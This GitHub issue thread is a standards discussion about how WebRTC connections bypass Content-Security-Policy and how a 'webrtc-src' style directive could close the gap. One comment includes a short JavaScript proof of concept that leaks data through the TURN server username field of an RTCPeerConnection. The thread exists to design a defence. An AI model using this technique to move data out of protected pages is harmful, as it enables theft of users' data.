New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WebRTC RTCDataChannel can be used for exfiltration #92

Open
annevk opened this Issue Jun 18, 2016 · 16 comments

Comments

Projects
None yet
10 participants
@annevk
Member

annevk commented Jun 18, 2016

Since it does not go through Fetch, none of the security policies are applied to it. Seems wrong. Not entirely sure where the best general place would be to address this; filing this as a start.

@ekr

This comment has been minimized.

Show comment
Hide comment
@ekr

ekr Jun 18, 2016

I agree that this isn't ideal.

ISTM that it might be easiest to just have a "no-webrtc" directive, rather than trying to have fine-grained filters.

ekr commented Jun 18, 2016

I agree that this isn't ideal.

ISTM that it might be easiest to just have a "no-webrtc" directive, rather than trying to have fine-grained filters.

@mikewest mikewest added this to the CSP3 CR milestone Sep 2, 2016

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Sep 2, 2016

Member
  1. Conceptually, it seems like this ought to be governed by connect-src.
  2. Feature Policy aims to provide an on/off toggle of the form that @ekr suggests; maybe that's enough, if it turns out that back-compat stops us from implementing existing restrictions.
Member

mikewest commented Sep 2, 2016

  1. Conceptually, it seems like this ought to be governed by connect-src.
  2. Feature Policy aims to provide an on/off toggle of the form that @ekr suggests; maybe that's enough, if it turns out that back-compat stops us from implementing existing restrictions.
@gorhill

This comment has been minimized.

Show comment
Hide comment
@gorhill

gorhill Dec 5, 2016

More and more sites are (ab)using WebRTC to pull data from remote servers through browsers with no obvious way for users to be informed about such connections to remote servers, and no mean to prevent these connections from happening on a per-site basis. I observe that such use is spreading fast. Example:

a

A no-webrtc directive would solve this.

gorhill commented Dec 5, 2016

More and more sites are (ab)using WebRTC to pull data from remote servers through browsers with no obvious way for users to be informed about such connections to remote servers, and no mean to prevent these connections from happening on a per-site basis. I observe that such use is spreading fast. Example:

a

A no-webrtc directive would solve this.

@Pehrsons

This comment has been minimized.

Show comment
Hide comment
@Pehrsons

Pehrsons Sep 17, 2017

I'll note that @martinthomson wrote a bit more detailed proposal on the mailing list in 2014, [1]. Would be a pity to lose it.

[1] https://lists.w3.org/Archives/Public/public-webappsec/2014Aug/0162.html

Pehrsons commented Sep 17, 2017

I'll note that @martinthomson wrote a bit more detailed proposal on the mailing list in 2014, [1]. Would be a pity to lose it.

[1] https://lists.w3.org/Archives/Public/public-webappsec/2014Aug/0162.html

@andypaicu andypaicu modified the milestones: CSP3 CR, Future Jan 8, 2018

@murillo128

This comment has been minimized.

Show comment
Hide comment
@murillo128

murillo128 Jan 8, 2018

There is no need to use datachannels at all, you can leak data (at low rate), in the username of the turn server:

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Note that you don't even need to successfully establish the peer connection in order to send it back to the turn server.

I would assume that webrtc should be disabled if connect-src is set (unless we specify a new schema for enabling webrtc)

murillo128 commented Jan 8, 2018

There is no need to use datachannels at all, you can leak data (at low rate), in the username of the turn server:

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Note that you don't even need to successfully establish the peer connection in order to send it back to the turn server.

I would assume that webrtc should be disabled if connect-src is set (unless we specify a new schema for enabling webrtc)

@steely-glint

This comment has been minimized.

Show comment
Hide comment
@steely-glint

steely-glint Jan 12, 2018

In theory shouldn't be possibe to set up a webRTC connection without communicating with your malicious server to exchange a full Offer-Answer - which would have to go over websockets or fetch - so it should already be in the control of the connect-src policies.

However a combination of a ice-lite in the offer and a creatively non-compliant ICE server means that the Answer phase can be ommited meaning it can bypass connect-src whitelist

It should be sufficient to ban ice-lite on pages with a CSP set.

steely-glint commented Jan 12, 2018

In theory shouldn't be possibe to set up a webRTC connection without communicating with your malicious server to exchange a full Offer-Answer - which would have to go over websockets or fetch - so it should already be in the control of the connect-src policies.

However a combination of a ice-lite in the offer and a creatively non-compliant ICE server means that the Answer phase can be ommited meaning it can bypass connect-src whitelist

It should be sufficient to ban ice-lite on pages with a CSP set.

@murillo128

This comment has been minimized.

Show comment
Hide comment
@murillo128

murillo128 Jan 12, 2018

@steely-glint It is not even needed to do O/A to leak data, you can use the username/passwords on the iceServers passed to the RTCPeerConnection to leak small amounts of data (enough for encapsulating a cc details) just by creating a RTCPeerConnection and creating an offer as per my snipped in my previous comment.

murillo128 commented Jan 12, 2018

@steely-glint It is not even needed to do O/A to leak data, you can use the username/passwords on the iceServers passed to the RTCPeerConnection to leak small amounts of data (enough for encapsulating a cc details) just by creating a RTCPeerConnection and creating an offer as per my snipped in my previous comment.

@steely-glint

This comment has been minimized.

Show comment
Hide comment
@steely-glint

steely-glint Jan 12, 2018

True - so if your page has connect-src: set, then that should apply to turn and stun servers too.
I suppose we could add a new directive for them
turn-servers:
but that might be confusing.

steely-glint commented Jan 12, 2018

True - so if your page has connect-src: set, then that should apply to turn and stun servers too.
I suppose we could add a new directive for them
turn-servers:
but that might be confusing.

@murillo128

This comment has been minimized.

Show comment
Hide comment
@murillo128

murillo128 Jan 12, 2018

connect-src already supports urls:

Content-Security-Policy: connect-src https://example.com/

So it would be trivial to add stun: and/or turn: urls to it, like:

Content-Security-Policy: connect-src https://example.com/ stun:stun.services.mozilla.com

which will match naturally the values needed to be set on the PC constructor:

var configuration = { iceServers: [{
                          urls: "stun:stun.services.mozilla.com",
                          username: "louis@mozilla.com", 
                          credential: "webrtcdemo"
                      }, {
                          urls: [
                                  "stun:stun.example.com",
                                  "stun:stun-1.example.com"
                          ]
                      }]
};

This will allow the stun connection to stun.services.mozilla.com but not to stun.example.com or stun-1.example.com

murillo128 commented Jan 12, 2018

connect-src already supports urls:

Content-Security-Policy: connect-src https://example.com/

So it would be trivial to add stun: and/or turn: urls to it, like:

Content-Security-Policy: connect-src https://example.com/ stun:stun.services.mozilla.com

which will match naturally the values needed to be set on the PC constructor:

var configuration = { iceServers: [{
                          urls: "stun:stun.services.mozilla.com",
                          username: "louis@mozilla.com", 
                          credential: "webrtcdemo"
                      }, {
                          urls: [
                                  "stun:stun.example.com",
                                  "stun:stun-1.example.com"
                          ]
                      }]
};

This will allow the stun connection to stun.services.mozilla.com but not to stun.example.com or stun-1.example.com

@steely-glint

This comment has been minimized.

Show comment
Hide comment
@steely-glint

steely-glint Jan 12, 2018

Oh, and in answer to @martinthomson 's prescient post from 3 years ago, (link above) it would be pretty simple to exfiltrate data over DTMF (which was added in the meanwhile).
It would be only slightly harder to do it over G711.
So I don't believe this is a data-channel issue.
In my view it is an ICE issue - ICE is supposed to be the webRTC consent mechanism. Ice-lite breaks that.

steely-glint commented Jan 12, 2018

Oh, and in answer to @martinthomson 's prescient post from 3 years ago, (link above) it would be pretty simple to exfiltrate data over DTMF (which was added in the meanwhile).
It would be only slightly harder to do it over G711.
So I don't believe this is a data-channel issue.
In my view it is an ICE issue - ICE is supposed to be the webRTC consent mechanism. Ice-lite breaks that.

@murillo128

This comment has been minimized.

Show comment
Hide comment
@murillo128

murillo128 Jan 12, 2018

As it was pointed out on the w3c list, even whitelisting stun/turn servers, it would be possible to leak data with a variant of the code above.

So the updated proposal would be that when CSP is enabled (either via defautl-src or the connect-src header), we create three white lists for webrtc:

  • stun servers: any stun server passed into the PC constructor on the iceServers not matched by one entry on the list will be discarded
  • turn servers: any turn server passed to the PC constructor on the iceServers not matched by one entry on the list will be discarded
  • remote candidates: any remote candidate passed to an PC (either on the setRemoteDescription or addIceCandidate) not maching an entry on the whitelist will be discarded

By default, all this three list are empty. That is, any service with CSP turned on and no specific configuration for webrtc, will be protected as no webrtc connections will be enabled.

To add entries to each list, we can use stun and turn urls and a new "ice:" url schema for the remote ice candidates. A wildcard url would be allowed to restrict the constrains for those willing to use it.

Examples:

Content-Security-Policy: connect-src https://example.com; No webrtc connection enabled at all

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com ice:1.1.1.1; Stun and turn allowed to example.con, but remote candidates not from 1.1.1.1 are disabled

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com ice:*; Stun and turn allowed to example.con, any remote candidate is allowed (this is unsafe, but allowed)

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com; Stun and turn allowed to example.con, but no remote ice candidates allowed (doesn't make much sense, but allowed)

Content-Security-Policy: connect-src https://example.com turn:example.com ice:turn.example.com; Only turn allowed to example.con and remote candidates from example.com only

murillo128 commented Jan 12, 2018

As it was pointed out on the w3c list, even whitelisting stun/turn servers, it would be possible to leak data with a variant of the code above.

So the updated proposal would be that when CSP is enabled (either via defautl-src or the connect-src header), we create three white lists for webrtc:

  • stun servers: any stun server passed into the PC constructor on the iceServers not matched by one entry on the list will be discarded
  • turn servers: any turn server passed to the PC constructor on the iceServers not matched by one entry on the list will be discarded
  • remote candidates: any remote candidate passed to an PC (either on the setRemoteDescription or addIceCandidate) not maching an entry on the whitelist will be discarded

By default, all this three list are empty. That is, any service with CSP turned on and no specific configuration for webrtc, will be protected as no webrtc connections will be enabled.

To add entries to each list, we can use stun and turn urls and a new "ice:" url schema for the remote ice candidates. A wildcard url would be allowed to restrict the constrains for those willing to use it.

Examples:

Content-Security-Policy: connect-src https://example.com; No webrtc connection enabled at all

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com ice:1.1.1.1; Stun and turn allowed to example.con, but remote candidates not from 1.1.1.1 are disabled

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com ice:*; Stun and turn allowed to example.con, any remote candidate is allowed (this is unsafe, but allowed)

Content-Security-Policy: connect-src https://example.com stun:example.com turn:example.com; Stun and turn allowed to example.con, but no remote ice candidates allowed (doesn't make much sense, but allowed)

Content-Security-Policy: connect-src https://example.com turn:example.com ice:turn.example.com; Only turn allowed to example.con and remote candidates from example.com only

@martinthomson

This comment has been minimized.

Show comment
Hide comment
@martinthomson

martinthomson Jan 15, 2018

Member

That sort of policy would essentially have us create a new set of origins for TURN, ICE, and STUN. It probably makes sense to have a single type of origin if that is the path that is chosen. From the CSP perspective, there is no functional difference between these types of endpoint.

Also, you have to consider the operational costs of knowing the set of potential peers when setting policy (i.e., before page load time). WebRTC naturally discovers the address of peers during signaling, so a CSP rule that constrains the identity of peers is very constraining, except for a certain type of usage. That suggests that a simpler "webrtc" label is more likely to be effective here.

(For reference, the discussion in 2014 was about inbound data. 'connect-src' now covers exfiltration of secrets, so it makes sense to consider media and ICE in the rule.)

Member

martinthomson commented Jan 15, 2018

That sort of policy would essentially have us create a new set of origins for TURN, ICE, and STUN. It probably makes sense to have a single type of origin if that is the path that is chosen. From the CSP perspective, there is no functional difference between these types of endpoint.

Also, you have to consider the operational costs of knowing the set of potential peers when setting policy (i.e., before page load time). WebRTC naturally discovers the address of peers during signaling, so a CSP rule that constrains the identity of peers is very constraining, except for a certain type of usage. That suggests that a simpler "webrtc" label is more likely to be effective here.

(For reference, the discussion in 2014 was about inbound data. 'connect-src' now covers exfiltration of secrets, so it makes sense to consider media and ICE in the rule.)

@murillo128

This comment has been minimized.

Show comment
Hide comment
@murillo128

murillo128 Jan 15, 2018

I would also be in favor of a master webrtc on/off switch for CSP as the one you are proposing.

However it was noted by some people at the w3c list that they would not accept it as they would like to have a more fine grained control switch. I believe that it makes quite a lot of sense as for the kind of deployments in which you would like to set CSP and still be able to use webrtc, requiring that all media goes via server (SBC, turn server, recording server, SFU) is not an uncommon requirement.

Anyway, I would be ok with any of both ways (better done than perfect)

murillo128 commented Jan 15, 2018

I would also be in favor of a master webrtc on/off switch for CSP as the one you are proposing.

However it was noted by some people at the w3c list that they would not accept it as they would like to have a more fine grained control switch. I believe that it makes quite a lot of sense as for the kind of deployments in which you would like to set CSP and still be able to use webrtc, requiring that all media goes via server (SBC, turn server, recording server, SFU) is not an uncommon requirement.

Anyway, I would be ok with any of both ways (better done than perfect)

@alvestrand

This comment has been minimized.

Show comment
Hide comment
@alvestrand

alvestrand Jan 16, 2018

From discussion on the webrtc list: As implemented today, there's no difference between ice and ice-lite from a security standpoint. Both permit communication to external parties containing data under Javascript control, and at least some implementations send media without requiring the other party to have learned the sender's password (the focus of ICE consent is to make sure the other party wants to receive your data, not on whether you want to send it to him).

alvestrand commented Jan 16, 2018

From discussion on the webrtc list: As implemented today, there's no difference between ice and ice-lite from a security standpoint. Both permit communication to external parties containing data under Javascript control, and at least some implementations send media without requiring the other party to have learned the sender's password (the focus of ICE consent is to make sure the other party wants to receive your data, not on whether you want to send it to him).

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Jan 17, 2018

Member

I talked with @alvestrand about this today, and landed on a similar solution to what @murillo128 proposed above. I agree with @martinthomson that I don't expect anyone to actually use it to restrict the set of peers they could communicate with, but it seems reasonable to offer folks that ability if they really want to use it. We could model that as a new webrtc-src directive that sits on top of connect-src, which would enable folks to govern WebRTC communications differently than they govern fetch(), XHR, EventSource, etc. That is:

  • default-src 'none' would block WebRTC connections, as would connect-src 'none' or webrtc-src 'none'.
  • connect-src example.com and webrtc-src example.com would allow fetch() and WebRTC to example.com (e.g. we wouldn't attempt to distinguish between TURN/ICE/STUN).
  • connect-src example.com; webrtc-src 'none' would disable WebRTC connections.
  • connect-src 'none'; webrtc-src * would enable WebRTC to any where, while disabling fetch().

I don't actually know enough about the WebRTC spec to know where y'all would have to hook into CSP, but if this is a model folks can live with, I can give you hooks.

Member

mikewest commented Jan 17, 2018

I talked with @alvestrand about this today, and landed on a similar solution to what @murillo128 proposed above. I agree with @martinthomson that I don't expect anyone to actually use it to restrict the set of peers they could communicate with, but it seems reasonable to offer folks that ability if they really want to use it. We could model that as a new webrtc-src directive that sits on top of connect-src, which would enable folks to govern WebRTC communications differently than they govern fetch(), XHR, EventSource, etc. That is:

  • default-src 'none' would block WebRTC connections, as would connect-src 'none' or webrtc-src 'none'.
  • connect-src example.com and webrtc-src example.com would allow fetch() and WebRTC to example.com (e.g. we wouldn't attempt to distinguish between TURN/ICE/STUN).
  • connect-src example.com; webrtc-src 'none' would disable WebRTC connections.
  • connect-src 'none'; webrtc-src * would enable WebRTC to any where, while disabling fetch().

I don't actually know enough about the WebRTC spec to know where y'all would have to hook into CSP, but if this is a model folks can live with, I can give you hooks.

mikewest added a commit that referenced this issue Jan 17, 2018

Introduce 'webrtc-src'.
The 'webrtc-src' directive is a proposal for handling WebRTC connections. This patch
isn't exactly finished, but it should at least give a concrete proposal that we can
discuss in #92.
@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Jan 17, 2018

Member

PR for discussion of the hooks proposed above in #287.

Member

mikewest commented Jan 17, 2018

PR for discussion of the hooks proposed above in #287.

@gorhill gorhill referenced this issue Mar 7, 2018

Closed

... #1677

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment